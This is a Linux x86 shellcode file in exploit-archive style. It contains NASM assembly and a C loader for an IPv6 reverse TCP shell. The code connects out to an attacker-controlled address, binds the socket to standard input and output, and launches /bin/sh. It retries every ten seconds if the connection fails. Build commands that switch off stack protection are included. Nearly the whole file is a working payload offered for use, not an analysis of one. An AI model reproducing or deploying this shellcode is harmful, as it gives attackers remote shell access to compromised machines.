/*

# Title: linux x86 reverse tcp (ipv6)
# Date: 22-04-2016
# Exploit Author: Roziul Hasan Khan Shifat
# Tested on: kali 2.0 and Ubuntu 14.04 LTS
# Contact: shifath12@gmail.com

*/

/*
section .text
	global _start
_start:

;;socket()
xor ebx,ebx
mul ebx ;null out eax

push byte 6
push byte 0x1
push byte 10

mov ecx,esp

mov al,102 ;socketcall()
mov bl,1 ;socket()
int 0x80

mov esi,eax ;storing socket descriptor (we know return value of any syscall stores in eax)

xor eax,eax

mov al,2
xor ebx,ebx
int 80h


cmp eax,ebx
je connect
ja exit

;------------------

;------------------------

connect:

xor ecx,ecx
;-------------------------------------------------------
;struct sockaddr_in6
xor ebx,ebx

push dword ebx ;sin6_scope_id 4 byte

push dword 0x8140a8c0 ; only change it to Your ipv4 address (current ipv4 192.168.64.129)

push word 0xffff
push dword ebx
push dword ebx
push word bx ;sin6_addr 16 byte (ipv6 address ::ffff:192.168.64.129)

push dword ebx ;sin6_flowinfo=4 byte

push word 0xc005 ;sin6_port 2 byte (port 1472)

push word 10 ;sa_family_t=2 byte 

;end of struct sockaddr_in6

mov ecx,esp

;--------------------------------------------

;;connect()

push byte 28 ;sizeof ;struct sockaddr_in6

push ecx

push esi

xor ebx,ebx
xor eax,eax
mov al,102
mov bl,3 ;connect()
mov ecx,esp
int 0x80

xor ebx,ebx

cmp eax,ebx
jne retry ;if it fails to connect ,it will  retry to connect to attacker after 10 seconds

;dup2(sd,0)

xor ecx,ecx
mul ecx

mov ebx,esi
mov al,63
int 80h

;dup2(sd,1)

xor eax,eax
inc ecx

mov ebx,esi
mov al,63
int 80h

;;dup2(sd,2)

xor eax,eax
inc ecx

mov ebx,esi
mov al,63
int 80h

;;execve(/bin//sh)

xor edx,edx
mul edx

push edx ;null terminated /bin//sh
push 0x68732f2f
push 0x6e69622f

mov ebx,esp

push edx
push ebx

mov ecx,esp

mov al,11 ;execve()
int 0x80

ret

;------------------------------------------------------

retry:

xor ebx,ebx

push ebx
push byte 10

mul ebx
mov ebx,esp

mov al,0xa2 ;nanosleep()

int 80h

jmp connect

ret

;----------------------------
exit:
xor eax,eax
mov al,1
int 80h

*/


/* 
to compile:

$nasm -f elf filename.s
$ld filename.o
$./a.out

to compile shellcode

$gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$./shellcode

*/


#include<string.h>
#include<stdio.h>
char shellcode[]="\x31\xdb\xf7\xe3\x6a\x06\x6a\x01\x6a\x0a\x89\xe1\xb0\x66\xb3\x01\xcd\x80\x89\xc6\x31\xc0\xb0\x02\x31\xdb\xcd\x80\x39\xd8\x74\x02\x77\x77\x31\xc9\x31\xdb\x53\x68\xc0\xa8\x40\x81\x66\x6a\xff\x53\x53\x66\x53\x53\x66\x68\x05\xc0\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x31\xdb\x31\xc0\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xdb\x39\xd8\x75\x36\x31\xc9\xf7\xe1\x89\xf3\xb0\x3f\xcd\x80\x31\xc0\x41\x89\xf3\xb0\x3f\xcd\x80\x31\xc0\x41\x89\xf3\xb0\x3f\xcd\x80\x31\xd2\xf7\xe2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\xc3\x31\xdb\x53\x6a\x0a\xf7\xe3\x89\xe3\xb0\xa2\xcd\x80\xeb\x8a\xc3\x31\xc0\xb0\x01\xcd\x80";


int (*exec_shellcode)();
main()
{
printf("Shellcode length: %ld\n",(long)strlen(shellcode));
exec_shellcode=(int(*)())shellcode;
(*exec_shellcode)();

}